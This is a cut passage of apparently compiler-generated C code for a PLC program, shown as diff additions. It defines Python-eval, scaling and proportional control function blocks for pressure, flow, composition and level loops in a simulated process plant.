__SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void 